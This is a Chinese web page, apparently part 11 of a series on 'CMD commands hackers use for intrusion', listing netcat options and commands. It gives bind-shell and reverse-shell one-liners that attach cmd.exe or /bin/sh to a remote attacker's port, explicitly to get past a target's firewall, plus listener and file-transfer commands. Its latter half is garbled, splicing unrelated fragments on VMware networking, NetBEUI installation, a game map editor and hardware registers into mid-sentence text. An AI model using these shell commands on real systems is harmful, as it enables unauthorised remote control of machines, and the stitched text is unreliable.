DOS命令大全（二）——入侵必练的CMD命令 /黑客常用CMD命令(11)

-i secs延时的间隔

-l 模式，用于入站连接

-L 模式，连接天闭后仍然继续，直到CTR+C

-n IP地址，不能用域名

-o film记录16进制的传输

-p[空格]端口 本地端口号

-r 随机本地及远程端口

-t 使用Telnet交互方式

-u UDP模式

-v 详细输出，用-vv将更详细

-w数字 timeout延时间隔

-z 将输入，输出关掉（用于扫锚时）

基本用法：

nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口

nc -l -p 80 开启本机的TCP 80端口并

实例手动设置：假设主机的vmnet1使用网段地址为192.168.10.0，vmnet8使用网段地址为192.168.80.0，网关地址为 192.168.80.254（也就是nat路由器地址，可自己设置，在vmnet8上），主机网卡使用地址为192.168.1.1。24网段, 即 192.168.80.1-192.168.80.254）。下面的一个主从实例，主库端口192.168.2.70:1978,从库端口192.168.2.80:1978。

nc -l -p 5354 -t -e c:winntsystem32cmd.exe绑定remote主机的cmdshell在remote的TCP 5354端口

nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口

高级用法：

nc -L -p 80 作为蜜罐用1：开启并不停地80端口，直到CTR+C为止

nc -L -p 80 > c:log.txt作为蜜罐用2：开启并不停地80端口，直到CTR+C,同时把结果输出到c:log.txt

nc -L -p 80 < c:honeyport.txt作为蜜罐用3-1：开启并不停地80端口，直到CTR+C,并把c:honeyport.txt中内容送入管道中，亦可起到传送文件作用

type.exe c:honeyport | nc -L -p 80作为蜜罐用3-2：开启并不停地80端口，直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用

本机上用：nc -l -p 本机端口

在对方主机上用：nc -e cmd.exe 本机IP -p 本机端口 *win2K

nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙

本机上用：nc -d -l -p 本机端口 < 要传送的文件路径及名称

a、主机向从机发送数据，数据传送方向在整个传送过程中不变： 注：有阴影部分表示数据由主机向从机传送，无阴影部分则表示数据由从机向主机传送。找出winxp安装光盘，进入"valueadd\msft\net\netbeui"文件夹下，这里有nbf.sys、netbeui.txt、netnbf.inf共3个文件，先将nbf.sys文件复制到本机的"windows\system32\drivers"文件夹下（这里的本机指安装了winxp的那台电脑），再将netnbf.inf文件复制到本机的"windows\inf"文件夹下，netbeui.txt文件可有可无。小队类型（通过新建来建立，多个小队时可以选择相应的小队），选定的小队类型里有名称（即小队的名字，可任意，但要有代表性）、经验等级（有1、2、3三等，分别对应不同的等级）、参战方（即小队属于哪个国家）、科技等级（有从0到10几等，一般不用）、脚本和特遣部队（分别是小队执行怎样的动作和选择小队的成员）、标签（即该小队同哪个触发联系）、优先权、分组、路径点、传送路径点和最多一般不怎么用。在寄存器读写过程中,主机通过端口发送控制信号,检测状态信号,完成对hpi口访问的时序模拟,双方通过向对方发送中断通知对方数据已经准备好,通过检测对方设置的状态判断对方是否准备好接受数据。

本文来自电脑杂谈，转载请注明本文网址：
https://www.pc-fly.com/a/jisuanjixue/article-94497-11.html